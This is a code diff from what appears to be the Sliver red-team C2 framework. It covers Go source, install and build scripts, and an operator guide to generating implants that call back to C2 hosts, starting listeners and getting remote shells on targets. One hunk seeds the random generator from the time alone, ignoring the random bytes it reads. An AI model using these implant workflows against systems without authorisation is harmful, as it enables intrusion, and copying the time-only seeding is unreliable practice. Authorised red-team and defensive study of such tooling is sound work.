@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
IsOpen bool
|
||||
SessionID string
|
||||
SessionID uint32
|
||||
|
||||
Send chan []byte
|
||||
Recv chan []byte
|
||||
|
||||
+4
-4
@@ -32,11 +32,11 @@ import (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
insecureRand.Seed(int64(time.Now().Unix()))
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
|
||||
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
|
||||
@@ -6,28 +6,27 @@ date: 2021-07-07 09:01:33 -0500
|
||||
categories: sliver
|
||||
---
|
||||
|
||||
# 1. Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
|
||||
|
||||
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
|
||||
|
||||
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
|
||||
|
||||
|
||||
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
|
||||
|
||||
## Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
|
||||
|
||||
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
### MinGW Setup (Optional)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
|
||||
|
||||
#### Linux (Debian-based)
|
||||
#### Linux
|
||||
|
||||
```
|
||||
apt install mingw-w64
|
||||
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
@@ -36,65 +35,39 @@ apt install mingw-w64
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
|
||||
|
||||
## Implants Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
Some commands such as `shell` and `portfwd` only work over interactive sessions.
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
#### Session Mode
|
||||
|
||||
```
|
||||
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 Sliver binary
|
||||
[*] Build completed in 00:00:16
|
||||
[*] Build completed in 00:10:16
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
#### Beacon Mode
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 00:00:27
|
||||
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
|
||||
Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 Sliver binary
|
||||
[*] Build completed in 00:00:09
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 00:00:03
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
|
||||
```
|
||||
|
||||
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
|
||||
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
|
||||
|
||||
```
|
||||
sliver > implants
|
||||
sliver > slivers
|
||||
|
||||
Name OS/Arch Debug Format
|
||||
==== ======= ===== ======
|
||||
@@ -110,7 +83,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
|
||||
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
@@ -123,7 +96,7 @@ For addition details about each C2 please see:
|
||||
|
||||
## Getting Shells
|
||||
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
|
||||
|
||||
```
|
||||
sliver > mtls
|
||||
@@ -140,101 +113,26 @@ ID Name Protocol Port
|
||||
|
||||
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
|
||||
|
||||
### Interacting with Sessions
|
||||
|
||||
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
|
||||
|
||||
```
|
||||
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
|
||||
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
|
||||
|
||||
sliver > use 8ff2ce4c
|
||||
sliver > use 1
|
||||
|
||||
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
|
||||
[*] Active sliver PROPER_ANTHONY (1)
|
||||
|
||||
sliver (LONG_DRAMATURGE) > ls
|
||||
sliver (PROPER_ANTHONY) > ls
|
||||
|
||||
/Users/moloch/Desktop
|
||||
=====================
|
||||
.DS_Store 6.0 KiB
|
||||
.localized 0 B
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
PROPER_ANTHONY 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
|
||||
|
||||
```
|
||||
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
|
||||
|
||||
[server] sliver > beacons
|
||||
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
|
||||
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
|
||||
|
||||
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
|
||||
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) >
|
||||
```
|
||||
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
|
||||
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
|
||||
|
||||
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
|
||||
|
||||
C:\git
|
||||
======
|
||||
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
|
||||
...
|
||||
```
|
||||
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
|
||||
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
|
||||
You can view previous tasks executed by the active beacon using the `tasks` command:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
|
||||
ID State Message Type Created Sent Completed
|
||||
========== =========== ============== =============================== =============================== ===============================
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
```
|
||||
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
|
||||
|
||||
#### Switching from Beacon Mode to Session Mode
|
||||
|
||||
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
|
||||
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
|
||||
|
||||
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
|
||||
```
|
||||
|
||||
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
|
||||
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
|
||||
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
@@ -242,13 +140,4 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
|
||||
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
|
||||
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
|
||||
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
|
||||
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
|
||||
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
|
||||
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
|
||||
|
||||
+32
-11
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential \
|
||||
zip unzip gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -32,6 +32,12 @@ then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Zip
|
||||
if ! command -v zip &> /dev/null
|
||||
then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
@@ -100,34 +106,49 @@ EOF
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER='sliver-server_linux'
|
||||
SLIVER_CLIENT='sliver-client_linux'
|
||||
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
|
||||
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
|
||||
SLIVER_SERVER='sliver-server'
|
||||
SLIVER_CLIENT='sliver-client'
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
mv /root/$SLIVER_SERVER /root/sliver-server
|
||||
chmod 755 /root/sliver-server
|
||||
/root/sliver-server unpack --force
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
/root/$SLIVER_SERVER unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
|
||||
+16
-13
@@ -16,12 +16,12 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.6"
|
||||
GO_VER="1.17.5"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -50,7 +50,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
mkdir -p $OUTPUT_DIR
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -134,20 +134,23 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
+15
-32
@@ -21,45 +21,28 @@ echo "----------------------------------------------------------------"
|
||||
echo "WARNING: Running unit tests on slow systems can take a LONG time"
|
||||
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
## Client
|
||||
|
||||
# client / command / alias
|
||||
if go test -tags=client,$TAGS ./client/command/alias ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / extensions
|
||||
if go test -tags=client,$TAGS ./client/command/extensions ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,$TAGS ./util ; then
|
||||
if go test -tags=server,gosqlite ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server,$TAGS ./util/encoders/basex ; then
|
||||
if go test -tags=server,gosqlite ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server,$TAGS ./util/encoders ; then
|
||||
if go test -tags=server,gosqlite ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=client,$TAGS ./util/encoders ; then
|
||||
if go test -tags=client,gosqlite ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -68,7 +51,7 @@ fi
|
||||
## Implant
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test -tags=server,$TAGS ./implant/sliver/transports/dnsclient ; then
|
||||
if go test -tags=server,gosqlite ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -77,7 +60,7 @@ fi
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
if go test -tags=server,$TAGS ./server/website ; then
|
||||
if go test -tags=server,gosqlite ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -85,7 +68,7 @@ else
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server,$TAGS ./server/loot ; then
|
||||
if go test -tags=server,gosqlite ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -93,7 +76,7 @@ else
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server,$TAGS ./server/certs ; then
|
||||
if go test -tags=server,gosqlite ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -101,7 +84,7 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server,$TAGS ./server/cryptography ; then
|
||||
if go test -tags=server,gosqlite ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -109,7 +92,7 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography / minisign
|
||||
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
|
||||
if go test -tags=server,gosqlite ./server/cryptography/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -117,7 +100,7 @@ else
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
if go test -tags=server,gosqlite ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -125,7 +108,7 @@ else
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server,$TAGS ./server/c2 ; then
|
||||
if go test -tags=server,gosqlite ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -133,7 +116,7 @@ else
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
if go test -tags=server,gosqlite ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -141,7 +124,7 @@ else
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server,$TAGS ./server/console ; then
|
||||
if go test -tags=server,gosqlite ./server/console ; then
|
||||
:
|
||||
else
|
||||
